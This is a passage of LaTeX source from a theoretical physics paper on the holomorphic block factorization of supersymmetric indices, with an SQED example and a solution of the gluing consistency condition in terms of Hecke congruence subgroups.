In this parametrization, $P_{g_{(p,1)}}(\boldsymbol{\rho};R)$ is related to the anomaly polynomial as before:
\begin{equation}
P_{g_{(p,1)}}(\tfrac{Z+\frac{R}{2}x_1}{x_1},\tfrac{x_2}{x_1},\tfrac{x_3}{x_1};R)=\mathcal{P}^{(p)}_{\chi_R}(\vec{Z};\hat{x}_i)\,,
\end{equation}
where we understand the $x_i$ on the left hand side as functions of $\hat{x}_i$ through \eqref{eq:p-moduli-2}.
Note that for $p=1$, this correctly reduces to the $S^3\times S^1$ case \eqref{eq:phase-anomaly-pol-reln-chiral} as a function of $\hat{x}_i$.
We will derive the phase polynomial for general $g_{(p,q)}$ in Section \ref{sssec:mod-fact-lens}.
Finally, let us expand $\tilde{P}_{t_2^{\mathbf{n}}}(\boldsymbol{\rho})$ in terms of $Z=\hat{Z}+\frac{\mathbf{n}}{2}x_2$ as follows:
\begin{eqnarray}\nonumber
\tilde{P}_{t_2^{\mathbf{n}}}(\tfrac{Z-x_1+\frac{R}{2}(x_1+x_3)}{x_1},\tfrac{x_2}{x_1},\tfrac{x_3}{x_1};R)&=&\frac{\mathbf{R}}{x_1x_3}\Big(\hat{Z}^2+(R-1)(x_1+x_3)\hat{Z}+\tfrac{(R-1)^2}{4}(x_1+x_3)^2\\ \label{eq:Pt2}
&& -\tfrac{1}{12}(x_1^2+x_3^2-(\mathbf{R}^2-1)x^2_2)\Big)\,.
\end{eqnarray}
Note that there are no cubic terms in this case.
This is consistent with the fact that the twisted theory on $S^2\times T^2$ behaves effectively as a two-dimensional $(0,2)$ theory on $T^2$.
In particular, it consists of $\mathbf{R}$ Fermi multiplets for $\mathbf{R}>0$ and $|\mathbf{R}|$ chiral multiplets for $\mathbf{R}<0$ \cite{Closset:2013sxa}.
The phase polynomial is therefore again consistent with an interpretation in terms of the anomaly polynomial.
\paragraph{Independence on boundary condition:}
Due to the relation between $B(\boldsymbol{\rho})$ and $C(\boldsymbol{\rho})$ in \eqref{eq:BC-reln-free-chiral}, it follows from our general arguments that up to a phase both holomorphic blocks lead to the same compact space partition function upon gluing.
Explicitly, one may verify that:
\begin{equation}\label{eq:hol-block-fact-gen-index-2}
Z_{f}(\boldsymbol{\rho})=e^{-i \pi P_g(\boldsymbol{\rho})}\norm{B_S(\boldsymbol{\rho})}^2_f=e^{-i \pi \tilde{P}_g(\boldsymbol{\rho})}\norm{C_S(\boldsymbol{\rho})}^2_f \,,
\end{equation}
where the phase polynomial $\tilde{P}_g$ is related to $P_g$ through:
\begin{align}
\begin{split}
\tilde{P}_g(z;\tau,\sigma)&=P_{g}(z+1;\tau,\sigma)\,.
\end{split}
\end{align}
The difference between these phases takes on a similar form as the phase polynomial associated to the $(0,2)$ multiplets in \eqref{eq:Pt2}.
For example, for $g=g_{(p,1)}$, we have:
\begin{align}
\begin{split}
\tilde{P}_g(z;\tau,\sigma)-P_{g}(z;\tau,\sigma)
= \frac{1}{p} B_2\left(\frac{\hat{z}}{\hat{\tau}} + \frac{R(\hat{\sigma}+\hat{\tau})}{2\hat{\tau}}-1, \frac{\hat{\sigma}}{\hat{\tau}} \right) +\frac{p^2-1}{6p} \,,
\end{split}
\end{align}
where $B_2(z;\tau)$ is a quadratic polynomial in $\hat{z}$ and is defined in Appendix \ref{app:defs}.
As mentioned in the general discussion, we may interpret this phase as capturing the anomalies of the effectively two-dimensional boundary theory, which, coupled to the bulk, changes the boundary conditions from Dirichlet to Robin-like \cite{Longhi:2019hdh}.
\subsubsection{Example: SQED}\label{sssec:sqed}
In this section, we consider holomorphic block factorization for SQED.
For brevity, we focus on the superconformal index, and refer to \cite{Nieri:2015yia} for both the $L(p,1)\times S^1$ and $S^2\times T^2$ indices.
The contour integral expression for the SQED index can be obtained from the general gauge theory index collected in Appendix \ref{app:lens-indices}:
\begin{align}\label{eq:explicit-index-sqed}
\begin{split}
I^{\mathrm{SQED}}_{(1,0)}(\hat{\boldsymbol{\rho}})=(\hat{p};\hat{p})_\infty(\hat{q};\hat{q})_{\infty}\oint \frac{dv}{2\pi i v} \prod^{N_f}_{\beta=1}&\Gamma(-u+z_\beta+\tfrac{R}{2}(\hat{\tau}+\hat{\sigma});\hat{\tau},\hat{\sigma})\\
&\times\Gamma(u+z_\beta+\tfrac{R}{2}(\hat{\tau}+\hat{\sigma});\hat{\tau},\hat{\sigma}) \,,
\end{split}
\end{align}
where the chemical potentials $z_\alpha$ are for the diagonal subgroup of the $SU(N_f)\times SU(N_f)$ flavor symmetry, satisfying $\sum_\alpha z_\alpha=0$.
Furthermore, as can be deduced from the anomalies of a free chiral multiplet given in \eqref{eq:anomaly-coefficient-R}, vanishing of the mixed-gauge anomalies requires $R=1$.
To work with arbitrary R-charges $R'$ one may simply shift:
\begin{equation}
z_\alpha\to z'_\alpha= z_\alpha-\tfrac{R'-1}{2}(\tau+\sigma+1)\,,\qquad \sum_{\alpha} z'_\alpha=N_f\tfrac{R'-1}{2}(\tau+\sigma+1)\,.
\end{equation}
For our purposes below, we set $R=1$.
Performing the contour integral, one obtains an expression for the index of the form \eqref{eq:lens-higgs-form} \cite{Yoshida:2014qwa,Peelaers:2014ima}:
\begin{equation}\label{eq:lens-higgs-form-sqed}
I^{\mathrm{SQED}}_{(1,0)}(\hat{\boldsymbol{\rho}})=Z^{\mathrm{SQED}}_{S_{23}\mathcal{O}}(\boldsymbol{\rho})=\sum^{N_f}_{\alpha=1} Z^{\alpha}_{S_{23}\mathcal{O},\text{1-loop}}(\boldsymbol{\rho})Z^{\alpha}_{\text{v}}(\boldsymbol{\rho})Z^{\alpha}_{\text{v}}(\mathcal{O}S_{23}^{-1} \boldsymbol{\rho})\,,
\end{equation}
where we employ the notation \eqref{eq:defn-Zf-notation} and recall that in this case $\hat{\boldsymbol{\rho}}=\boldsymbol{\rho}$.
Furthermore, the factors in the summand can be written as \cite{Gadde:2020bov}:
\begin{align}\label{eq:S3S1sqed}
\begin{split}
Z^{\alpha}_{S_{23}\mathcal{O},\text{1-loop}}(\boldsymbol{\rho})&= \frac{1}{\Gamma(0;\tau,\sigma)} \prod_{\beta=1}^{N_f} \Gamma(z_\beta -z_\alpha;\tau,\sigma)\Gamma(z_\beta+z_\alpha+\tau+\sigma;\tau,\sigma)\,, \\
Z_{\mathrm{v}}^{\alpha}(\boldsymbol{\rho}) &= \sum_{n=0}^\infty \prod_{\beta=1}^{N_f} \prod^n_{j=1}\frac{\theta(z_\alpha+z_\beta+j\tau;\sigma) }{\theta(z_\alpha-z_\beta+j\tau;\sigma)}\,,
\end{split}
\end{align}
where we have included the formal prefactor in $Z^{\alpha}_{S_{23}\mathcal{O},\text{1-loop}}(\boldsymbol{\rho})$ to cancel the $\beta=\alpha$ factor in the numerator of the product and define the $n=0$ term in $Z_{\mathrm{v}}^{\alpha}(\boldsymbol{\rho})$ as $1$.
One can use properties of the $q$-$\theta$ function to show that each term in the sum of $Z_{\mathrm{v}}^{\alpha}(\boldsymbol{\rho})$ is invariant under the action of $\mathcal{H}=SL(2,\mathbb{Z})_{13}\ltimes \mathbb{Z}^{2+2N_f}$ on $\boldsymbol{\rho}$.
For example, invariance under $S_{13}$ follows from \eqref{eq:gamma-ids-for-hol-blocks-3}:
\begin{equation}\label{eq:invarianceof-Vortexpartition-function}
\prod_{\beta=1}^{N_f} \prod^n_{j=1}\frac{\theta(\frac{z_\alpha+z_\beta+j\tau}{\sigma};-\tfrac{1}{\sigma})}{\theta(\frac{z_\alpha-z_\beta+j\tau}{\sigma};-\tfrac{1}{\sigma})}=\prod_{\beta=1}^{N_f}\prod^n_{j=1} \frac{\theta(z_\alpha+z_\beta+j\tau;\sigma) }{\theta(z_\alpha-z_\beta+j\tau;\sigma)}\,,
\end{equation}
where we have used the $SU(N)$ condition $\sum_\alpha z_\alpha=0$ to show that:
\begin{equation}
\prod_{\beta=1}^{N_f} \prod^n_{j=1}e^{i\pi( B_{2}(z_\alpha+z_\beta+j\tau;\sigma)-B_{2}(z_\alpha-z_\beta+j\tau;\sigma))}=1\,.
\end{equation}
Invariance under the other generators of $\mathcal{H}$ follows from periodicity of $\theta(z;\sigma)$ under $z\to z+1$ and $\sigma\to \sigma+1$ in combination with \eqref{eq:invarianceof-Vortexpartition-function}.
Given that the perturbative part of the index simply consists of a product of elliptic $\Gamma$ functions, i.e., (anti-)chiral multiplet indices, and the vortex part appears already in factorized form, we can factorize the index.
The holomorphic block is defined as:\footnote{Note the similarity between the holomorphic block and the $1$-loop part of the index in \eqref{eq:S3S1sqed} modulo the vortex part. See also footnote \ref{fn:sim-hol-block-index-chiral}.}
\begin{equation}\label{eq:defn-hol-block-sqed}
\mathcal{B}^{\alpha}(\boldsymbol{\rho})=\frac{1}{\Gamma(\sigma;\tau,\sigma)} \left(\prod_{\beta=1}^{N_f} \Gamma(z_\beta -z_\alpha+\sigma;\tau,\sigma)\Gamma(z_\beta+z_\alpha+\tau+\sigma;\tau,\sigma)\right)Z_{\mathrm{v}}^{\alpha}(\boldsymbol{\rho})\,,
\end{equation}
where the additional shift by $\sigma$ in the first elliptic $\Gamma$ function reflects the Dirichlet boundary conditions on the chiral multiplets, whereas the antichirals obey Robin-like boundary conditions (see the comments below \eqref{eq:lens-index-equiv-S}).
In combination with the results of Section \ref{sssec:example-free-chiral}, in particular \eqref{eq:gamma-ids-for-hol-blocks}, it follows from \eqref{eq:invarianceof-Vortexpartition-function} that:
\begin{equation}
I^{\mathrm{SQED}}_{(1,0)}(\hat{\boldsymbol{\rho}})=e^{-i\pi P^{\mathrm{SQED}}_{S_{23}}(\boldsymbol{\rho})} \sum_{\alpha=1}^{N_f} \norm{\mathcal{B}_{S}^\alpha (\boldsymbol{\rho})}^2_{S_{23} \mathcal{O}}\,,\qquad \hat{\boldsymbol{\rho}}=\boldsymbol{\rho}\,,
\end{equation}
where we recall that $\mathcal{B}^{\alpha}_S(\boldsymbol{\rho})\equiv \mathcal{B}^{\alpha}(S_{13}\boldsymbol{\rho})$.
The phase polynomial is given by:
\begin{equation}
P^{\mathrm{SQED}}_{S_{23}}(\boldsymbol{\rho})=-Q(-1;\tau,\sigma)+\sum_{\beta=1}^{N_f}\Big[Q(z_{\beta}-z_{\alpha}-1;\tau,\sigma)+Q(z_{\beta}+z_{\alpha}+\tau+\sigma;\tau,\sigma)\Big] \,.
\end{equation}
Similar to the chiral multiplet, we note that $P^{\mathrm{SQED}}_{S_{23}}(\vec{z}+\frac{1}{2};\tau,\sigma)$ parametrizes the anomalies of the theory as in \eqref{eq:anomaly-pol-gen-th}.
In particular, because of the $SU(N)$ condition $\sum_\beta z_\beta=0$, the anomaly polynomial is independent of $\alpha$, as it should be.
Another way to understand this independence is from the integrand in \eqref{eq:explicit-index-sqed}.
If we had reversed the order of operations, namely first factorizing the $\Gamma$ functions in the integrand of \eqref{eq:explicit-index-sqed}, the total phase polynomial would have been manifestly $u$-independent because of gauge anomaly cancellation \cite{Nieri:2015yia}.
Finally, one can show that:
\begin{equation}
\mathcal{B}_{S}^\alpha (\boldsymbol{\rho})=\frac{1}{\theta(0;-\frac{1}{\tau})} \left(\prod_{\beta=1}^{N_f} \theta(\tfrac{z_\beta-z_\alpha}{\tau};-\tfrac{1}{\tau}) \theta(\tfrac{z_\beta+z_\alpha }{\tau};-\tfrac{1}{\tau}) \right) \mathcal{C}_{S}^\alpha (\boldsymbol{\rho})\,,
\end{equation}
where $\mathcal{C}_S(\boldsymbol{\rho})$ is computed for Robin-like boundary conditions on the chiral multiplets and Dirichlet conditions on the anti-chiral multiplets.
Given the properties of the $\theta$ function, it follows that:
\begin{equation}
e^{-i\pi \mathcal{P}^{\mathrm{SQED}}_{S_{23}}(\boldsymbol{\rho})} \sum_{\alpha=1}^{N_f} \norm{\mathcal{B}_{S}^\alpha (\boldsymbol{\rho})}^2_{S_{23} \mathcal{O}}=e^{-i\pi \tilde{\mathcal{P}}^{\mathrm{SQED}}_{S_{23}}(\boldsymbol{\rho})} \sum_{\alpha=1}^{N_f} \norm{\mathcal{C}_{S}^\alpha (\boldsymbol{\rho})}^2_{S_{23} \mathcal{O}}\,.
\end{equation}
The difference between the anomaly polynomials is a quadratic polynomial in $\vec{z}$, and can be interpreted in terms of the 't Hooft anomalies of the coupled boundary theory, which changes the boundary conditions.
\subsubsection{General gauge theories}\label{sssec:gen-gauge-th}
We briefly point out the extension to general $\mathcal{N}=1$ gauge theories.
As we have learned from the SQED example, there are four ingredients that go into holomorphic block factorization as we have presented it:
\begin{itemize}
\item A Higgs branch expression for the relevant index.\footnote{Factorization of Coulomb expressions of the index were also studied in \cite{Nieri:2015yia}. The opposite order of factorization and integration leads to Riemann bilinear-like identities. We also note that only for $L(p,q)\times S^1$ indices with $q=0,1$ there are concrete expressions for the index. We propose a general formula for the index with $q>1$ in Section \ref{ssec:gen-formula}.}
\item The factorization of the free chiral multiplet index.
\item Invariance of the vortex partition function under $S_{13}\in SL(2,\mathbb{Z})_{13}\subset \mathcal{H}$.
\item Independence of the phase polynomial of the Higgs branch vacuum $\alpha$.
\end{itemize}
The first point follows from the contour integral expression of the gauge theory lens indices and the pole structure of their integrands \cite{Nieri:2015yia}.
Section \ref{sssec:example-free-chiral} demonstrates the second point.
The third point holds for SQED (Section \ref{sssec:sqed}) and also SQCD with an arbitrary number of flavors \cite{Nieri:2015yia}.
We believe a general argument should follow from gauge anomaly cancellation in the four-dimensional theory, which prohibits 't Hooft anomalies in the vortex worldsheet theory.
It would be interesting to make this precise.
Finally, the phase polynomial of any gauge theory is independent of the gauge holonomies $\vec{u}$ due to gauge anomaly cancellation \cite{Nieri:2015yia}.
This ensures that it is independent of $\alpha$.
The above is sufficient to establish the factorized expression \eqref{eq:equiv-hol-block-facts} for general $\mathcal{N}=1$ gauge theories.
\subsection{Consistency condition and its solution}\label{ssec:consistency-cond}
In this section, we impose the consistency condition \eqref{eq:consistency-cond}, namely that the blocks $\mathcal{B}^{\alpha}_S(\boldsymbol{\rho})$ and $\mathcal{C}^{\alpha}_S(\boldsymbol{\rho})$ lead to the same compact space partition function, on the more general proposal in Section \ref{ssec:towards-conjecture}.
That is, we require:
\begin{equation}\label{eq:consistency-cond-h}
\mathcal{B}_h^{\alpha}(\boldsymbol{\rho})\mathcal{B}_{\tilde{h}}^{\alpha}(f^{-1}\boldsymbol{\rho})\cong \mathcal{C}_h^{\alpha}(\boldsymbol{\rho})\mathcal{C}_{\tilde{h}}^{\alpha}(f^{-1}\boldsymbol{\rho})\,,
\end{equation}
where equality may hold up to multiplication by a phase (independent of $\alpha$).
This constrains $(h,\tilde{h})$ in a way that depends on $f$, and we will denote the set of pairs that solve the constraints by $S_f$.
This will lead to our conjecture for the modular factorization of lens indices in Section \ref{ssec:mod-fact-conjecture}.
As we have seen in Section \ref{ssec:hol-blocks}, the holomorphic blocks $\mathcal{B}^\alpha(\boldsymbol{\rho})$ and $\mathcal{C}^\alpha(\boldsymbol{\rho})$ are related through multiplication by a function $Z^{\alpha}_\partial(\vec{z};\tau)$ that is invariant under $SL(2,\mathbb{Z})\ltimes \mathbb{Z}^{2r}$ up to a phase.
Plugging in this relation for $\mathcal{B}^\alpha_{h}(\boldsymbol{\rho})$ and $\mathcal{B}^\alpha_{\tilde{h}}(\tilde{\boldsymbol{\rho}})$, we obtain:
\begin{equation}
\mathcal{B}^\alpha_{h}(\boldsymbol{\rho})=Z^\alpha_\partial (z'_a;\tau')\mathcal{C}^\alpha_{h}(\boldsymbol{\rho})\,,\qquad \mathcal{B}^\alpha_{\tilde{h}}(f^{-1}\boldsymbol{\rho})=Z^\alpha_\partial (\tilde{z}'_a;\tilde{\tau}')\mathcal{C}^\alpha_{\tilde{h}}(f^{-1}\boldsymbol{\rho}) \,,
\end{equation}
where now $(z'_a;\tau')$ and $(\tilde{z}'_a;\tilde{\tau}')$ are defined by:
\begin{equation}\label{eq:rhop-and-tilderhop}
\boldsymbol{\rho}'\equiv (z'_a;\tau',\sigma')=h\boldsymbol{\rho}\,,\qquad \tilde{\boldsymbol{\rho}}'\equiv (\tilde{z}'_a;\tilde{\tau}',\tilde{\sigma}')=\tilde{h}f^{-1}\boldsymbol{\rho}\,.
\end{equation}
The condition \eqref{eq:consistency-cond-h} is satisfied as long as:
\begin{equation}\label{eq:ind-index-bc-gen}
Z^\alpha_\partial (z'_a;\tau') \tilde{Z}^\alpha_\partial (\tilde{z}'_a;\tilde{\tau}')\cong 1\,,
\end{equation}
where the equality may hold up to a phase.
Using the fact that $Z^{\alpha}_{\partial}(z;\tau)$ consists of a product of $q$-$\theta$ functions, see Footnote \ref{footnote:Zpartial}, this equation is satisfied if:
\begin{equation}\label{eq:constraint-h1,2}
\tilde{z}'_a+\tilde{\mu}_a\tilde{\tau}'+\tilde{\nu}_a= \frac{z'_a+\mu_a\tau'+\nu_a}{\gamma\tau'+\delta}\,,\qquad \tilde{\tau}'=-\frac{\alpha\tau'+\beta}{\gamma\tau'+\delta}\,,\qquad \alpha\delta-\beta\gamma=1\,,
\end{equation}
where $\mu_a,\nu_a\in \mathbb{Z}$ and $\tilde{\mu}_a,\tilde{\nu}_a\in \mathbb{Z}$ can be arbitrary due to the ellipticity of $Z^{\alpha}_\partial(z_a;\tau)$.
Furthermore, the ``$-$" sign reflects the fact that $\tau'$ and $\tilde{\tau}'$ are related through an orientation reversal transformation.
These equations should be read as constraints on $h,\tilde{h}\in \mathcal{H}$ for an appropriate choice of $(\alpha,\beta,\gamma,\delta)$ and $(\mu_a,\nu_a;\tilde{\mu}_a,\tilde{\nu}_a)$.
For simplicity, we will assume that $h,\tilde{h}$ do not contain large gauge transformations, in which case we only have to solve the second constraint.
We also assume that $f$ does not contain factors of $t_{2}^{(a)}$, but comment at the end of this section on the more general case.
To proceed, we take a generic ansatz for $h,\tilde{h}\in H$ and solve \eqref{eq:constraint-h1,2}.
Explicitly, let $h$ and $\tilde{h}$ be given by:
\begin{equation}\label{eq:h1,2-ansatz}
h=\begin{pmatrix}
n & 0 & m\\
b & 1 & a \\
l & 0 & k
\end{pmatrix}\,,\qquad \tilde{h}=\begin{pmatrix}
\tilde{n} & 0 & \tilde{m}\\
\tilde{b} & 1 & \tilde{a} \\
\tilde{l} & 0 & \tilde{k}
\end{pmatrix}\,,
\end{equation}
with $k n-l m=1$ and $\tilde{k}\tilde{n}-\tilde{l}\tilde{m}=1$.
We will assume periodicity of the holomorphic blocks $\mathcal{B}_h(\boldsymbol{\rho})$ in its arguments, as encountered in Section \ref{sssec:example-free-chiral}.
This implies that the second and third rows of $h$ and $\tilde{h}$ are defined up to integer multiples of the first row:
\begin{equation}\label{eq:periodicity-h}
h\sim T_{21} h\sim T_{31}h\,,
\end{equation}
and similarly for $\tilde{h}$.
In particular, this fixes $(k,l)$ and $(\tilde{k},\tilde{l})$ for a given $(m,n)$ and $(\tilde{m},\tilde{n})$, respectively.
Furthermore, it implies that we may consider $b$ $\mod n$ and $\tilde{b}$ $\mod \tilde{n}$ and view $(a,\tilde{a})$ as free integers.
Plugging in the constraint \eqref{eq:constraint-h1,2} with \eqref{eq:rhop-and-tilderhop}, it follows that $\alpha\delta-\beta\gamma=1$ requires:
\begin{equation}
\tilde{m}=m\,.
\end{equation}
The remaining constraints are solved if:
\begin{equation}\label{eq:sl2-constraints}
\begin{alignedat}{2}
\alpha&=-q-p\tilde{a} \,, \qquad & \delta &=-s-pa \,,\\
m\beta &=r+qa+s\tilde{a}+pa\tilde{a} \,, \qquad & \gamma&=pm\,,
\end{alignedat}
\end{equation}
and:
\begin{equation}\label{eq:b-and-n-constraints}
\begin{alignedat}{2}
\tilde{b}&=-\alpha b-\beta n \,, \qquad & \tilde{n}&=\delta n+\gamma b \,,\\
b &=-\delta \tilde{b}-\beta \tilde{n} \,, \qquad & n&=\alpha \tilde{n}+\gamma \tilde{b}\,.
\end{alignedat}
\end{equation}
Let us make some comments.
First of all, using the fact that $qs-pr=1$, it follows immediately that $\alpha\delta-\beta\gamma=1$.
However, we need to ensure $\beta\in \mathbb{Z}$, which imposes a constraint on $(m;a,\tilde{a})$.
Secondly, note that the equations in the first line of \eqref{eq:b-and-n-constraints} are equivalent to those in the second line.
Their solution is immediate either in terms of $(b,n)$ or $(\tilde{b},\tilde{n})$.
Thirdly, our ansatz requires the following coprime conditions on $m$:
\begin{equation}\label{eq:coprime-conds}
\gcd(m,n)=\gcd(m,\tilde{n})=1\,.
\end{equation}
Finally, note that the (redundant) set of constraints is invariant under the inversion symmetry in \eqref{eq:main-geom-equiv}, which effectively exchanges the untilded and tilded variables and $q\leftrightarrow s$.
We will see this symmetry, and also the other symmetries of the Hopf surface, reflected in the set of solutions.
Let us first analyze the coprime conditions.
If we choose to solve the equations in terms of $(b,n)$, we find that $\gcd(m,\tilde{n})=1$ can be written as:
\begin{equation}\label{eq:coprime-cond-2}
\gcd(m,(s+pa)n)=1\,.
\end{equation}
Since $\gcd(p,s)=1$, this constraint automatically implies the other coprime condition $\gcd(m,n)=1$, apart from the special cases $p=\pm a=\mp s=1$ and $a=s=0$.\footnote{These cases will be treated separately in the examples.}
Solving in terms of $(\tilde{b},\tilde{n})$ instead, we similarly find that \eqref{eq:coprime-conds} can be captured in a single condition:
\begin{equation}\label{eq:coprime-cond-3}
\gcd(m,(q+p\tilde{a})\tilde{n})=1\,.
\end{equation}
We continue to solve for $\beta\in\mathbb{Z}$.
Combining \eqref{eq:sl2-constraints} and \eqref{eq:b-and-n-constraints}, one finds that there exists an integral solution for $\beta$ as long as:
\begin{equation}\label{eq:beta-int-cond}
m\tilde{b}-\tilde{n}\tilde{a}=q(mb-na)-rn\,,
\end{equation}
where we have used $\gcd(m,n)=1$.
Alternatively, using the inversion symmetry we can also find an integral solution for $\beta$ as long as:
\begin{equation}\label{eq:beta-int-cond-2}
mb-na=s(m\tilde{b}-\tilde{n}\tilde{a})-r\tilde{n}\,,
\end{equation}
where now we used $\gcd(m,\tilde{n})=1$.
Since we may take $0\leq b<n$ and $0\leq \tilde{b}<\tilde{n}$, it follows that the pairs $(a,b)$ and $(\tilde{a},\tilde{b})$ uniquely parametrize the single integers $c$ and $\tilde{c}$, respectively, through:
\begin{equation}\label{eq:ab-solns}
\begin{alignedat}{2}
c&=bm-an\,, \qquad & \tilde{c}&=\tilde{b}m-\tilde{a}\tilde{n}\,,\\
\Longleftrightarrow \quad (a,b)&=(-ck+\kappa m,-cl+\kappa n)\,, \qquad & (\tilde{a},\tilde{b})&=(-\tilde{c}\tilde{k}+\tilde{\kappa}m,-\tilde{c}\tilde{l}+\tilde{\kappa}\tilde{n})\,,
\end{alignedat}
\end{equation}
where we inverted the relation in the second line, and $\kappa,\tilde{\kappa}\in \mathbb{Z}$ are fixed by the domain of $b$ and $\tilde{b}$.
The conditions \eqref{eq:beta-int-cond} and \eqref{eq:beta-int-cond-2} can now be written, respectively, as:
\begin{equation}\label{eq:c-soln}
\tilde{c}=qc-rn\,,\qquad c=s\tilde{c}-r\tilde{n} \,.
\end{equation}
These equations are consistent due to $qs-pr=1$ and the relation between $n$ and $\tilde{n}$.
In conclusion, we find that $\beta\in\mathbb{Z}$ if $\tilde{c}$ is solved in terms of $c$ as in \eqref{eq:c-soln} (or vice versa).
Let $S_f\subset H\times H$ denote the set of pairs $(h,\tilde{h})$ that solve $\tilde{h}$ in terms of $h$.\footnote{\label{fn:subgroup}We caution that in general $S_f$ can not be thought of as a subgroup of $H\times H$.
This follows from the fact that the coprime conditions \eqref{eq:coprime-cond-2} and \eqref{eq:coprime-cond-3} in general do not respect the semi-direct product structure of $H$.}
Taking into account periodicity \eqref{eq:periodicity-h}, the solution set is a right coset parametrized by three integers $(m,n,c)$:
\begin{equation}\label{eq:Sf-mod}
\Gamma'_{\infty}\times \Gamma'_{\infty}\backslash S_f\,,\qquad
\Gamma'_{\infty}=\langle T_{21},T_{31}\rangle \subset H\,.
\end{equation}
Explicitly, an element in this set can be written as:
\begin{equation}\label{eq:h-ht-Lens-gen}
h=\begin{pmatrix}
n & 0 & m\\
-cl & 1 & -ck\\
l & 0 & k
\end{pmatrix}\,,\quad \tilde{h}=\begin{pmatrix}
-sn+pc & 0 & m\\
(qc-rn)\tilde{l} & 1 & (qc-rn)\tilde{k}\\
\tilde{l} & 0 & \tilde{k}
\end{pmatrix}\,,
\end{equation}
where we have chosen $\kappa=\tilde{\kappa}=0$ as a representative, and recall that $(k,l)$ and $(\tilde{k},\tilde{l})$ are also fixed by periodicity.
To describe \eqref{eq:Sf-mod} more concisely, let us take take $n,c\in\mathbb{Z}$ general and choose $m$ such that it obeys the coprime condition \eqref{eq:coprime-cond-2}.
For fixed $c$ (i.e., for fixed $(a,b)$ in the coset), this set of integers $(m,n)$ has an elegant description in terms of the quotient $\Gamma_\infty \backslash \Gamma_0(s+pa)$, where $\Gamma_0(n)\subset SL(2,\mathbb{Z})$ is the Hecke congruence subgroup:
\begin{equation}
\Gamma_0(n)= \left\lbrace \begin{pmatrix}
\textrm{a} & \textrm{b}\\
\textrm{c} & \textrm{d}
\end{pmatrix}\quad \left|\; \textrm{a}\textrm{d}-\textrm{b}\textrm{c}=1\,,\; \textrm{c}=0\mod n \right.\right\rbrace\,,
\end{equation}
and $\Gamma_{\infty}\subset SL(2,\mathbb{Z})$ is generated by the (upper triangular) $T$ matrix.
It follows that, as a set, \eqref{eq:Sf-mod} can be described as:
\begin{equation}\label{eq:Sf-gen}
\Gamma'_{\infty}\times \Gamma'_{\infty}\backslash S_f \cong \bigcup_{\substack{a\in \mathbb{Z}}}\Gamma_\infty\backslash \Gamma_0(s+pa)\,.
\end{equation}
We thus see the existence of an interesting modular set of holomorphic blocks $\mathcal{B}^{\alpha}_h(\boldsymbol{\rho})$ and $\mathcal{B}^{\alpha}_{\tilde{h}}(f^{-1}\boldsymbol{\rho})$ consistent with the factorization of a general lens index $\mathcal{I}_{(p,q)}(\hat{\boldsymbol{\rho}})$.
We will study some examples below to make this more concrete, and turn to a geometric interpretation in Section \ref{ssec:geom-int-univ-blocks}.
For now, let us similarly describe the solution set $\widetilde{S}_f$ where $h$ is solved in terms of the $\tilde{h}$ parameters:
\begin{equation}\label{eq:tildeSf-gen}
\Gamma'_{\infty}\times \Gamma'_{\infty}\backslash\widetilde{S}_f\cong \bigcup_{\tilde{a}\in \mathbb{Z}} \Gamma_\infty\backslash \Gamma_0(q+p\tilde{a})\,,
\end{equation}
where we have made use of \eqref{eq:coprime-cond-3}.
As explained above, we see that: $S_f= \widetilde{S}_{f^{-1}}$.
Notice also that both sets are separately invariant under the other symmetries of the Hopf surface, including $s\to s+p$ and $q\to q+p$.
Finally, it will be useful to have a description of the solution set $S_{f'}$ for $f'=g'\,\mathcal{O}$ with general $g'\in SL(3,\mathbb{Z})$.
This is easily obtained from $S_f$ by recalling that there always exist $h,\tilde{h}\in H$ such that $f'=hf\tilde{h}^{-1}$ with $f=g\,\mathcal{O}$ and $g\in SL(2,\mathbb{Z})_{23}$.
This leads us to the following description of $S_{f'}$:
\begin{equation}\label{eq:Sf'-gen}
S_{f'}=\left\lbrace (h_fh^{-1},\tilde{h}_f\tilde{h}^{-1})\quad |\quad (h_f,\tilde{h}_f)\in S_f \right\rbrace\,,
\end{equation}
where $S_f$ is as described above.
\subsubsection*{Examples of \texorpdfstring{$\bm{S_f}$}{Sf}}\label{sssec:examples-Sf}
Here, we describe the solution set $S_f$ for some simple gluing transformations $f$.
We will denote by $S^{(a,b)}_{f}$ the subset of $S_f$ for fixed $(a,b)$.
We also point out in which cases $S_f$ or $S_f^{(a,b)}$ can be understood as a \emph{subgroup} of $H\times H$.
\paragraph{$\bm{S^2\times T^2}$:}
The simplest example is obtained by taking $f=\mathcal{O}$, i.e., $p=r=0$ and $q=s=-1$.
The resulting manifold has topology $S^2\times T^2$.
In this case, the constraints simplify significantly.
In particular, the $a$ parameter decouples from the modular part of the solution set.
We thus obtain the direct product:
\begin{equation}
\Gamma'_{\infty}\times \Gamma'_{\infty}\backslash S_{\mathcal{O}}\cong \Gamma_\infty \backslash SL(2,\mathbb{Z})\times \mathbb{Z}\cong \Gamma'_{\infty}\times \Gamma'_{\infty}\backslash\widetilde{S}_{\mathcal{O}}\,.
\end{equation}
More explicitly, $S_\mathcal{O}$ is parametrized by the matrices:
\begin{equation}\label{eq:h-ht-S2xT2}
h=\begin{pmatrix}
n & 0 & m\\
b & 1 & a \\
l & 0 & k
\end{pmatrix}\,,\quad \tilde{h}=\begin{pmatrix}
n & 0 & m\\
-b & 1 & -a \\
l & 0 & k
\end{pmatrix}\,.
\end{equation}
It follows that $S_\mathcal{O}$ embeds (almost) diagonally into $H\times H$:
\begin{equation}\label{eq:SO}
S_{\mathcal{O}}=\left\lbrace (h,\mathcal{O}h\mathcal{O})\;|\; h\in H \right\rbrace \subset H\times H\,,
\end{equation}
and it clearly forms a subgroup.
The closely related case $f=t_2^g\,\mathcal{O}$ can be checked to satisfy the consistency condition for the above pair $(h,\tilde{h})$ as long as $a=b=0$.
This follows from the elliptic properties of $Z^{\alpha}_{\partial}(z;\tau)$ discussed around \eqref{eq:constraint-h1,2}.
Concluding, there exists a consistent family of holomorphic blocks for the $S^2\times T^2$ index parametrized by $\Gamma'_{\infty}\times \Gamma'_{\infty}\backslash H$.
This is not surprising given that this index has modular properties under $H$.
\paragraph{$\bm{S^3\times S^1}$:}
Another basic example corresponds to $f=S_{23}\,\mathcal{O}$, i.e., $p=-r=1$ and $q=s=0$, which has topology $S^3\times S^1$.
The constraints again simplify significantly.
In particular, one finds:
\begin{equation}\label{eq:c-soln-s3xs1}
\tilde{n}=c\,, \qquad \tilde{c}=n\,.
\end{equation}
The condition on the integers $(m,n,c)$ is now $\gcd(m,n)=\gcd(m,c)=1$, which cannot be reduced to a single coprime condition.
The solution set is written as:
\begin{equation}\label{eq:Sf-S3xS1}
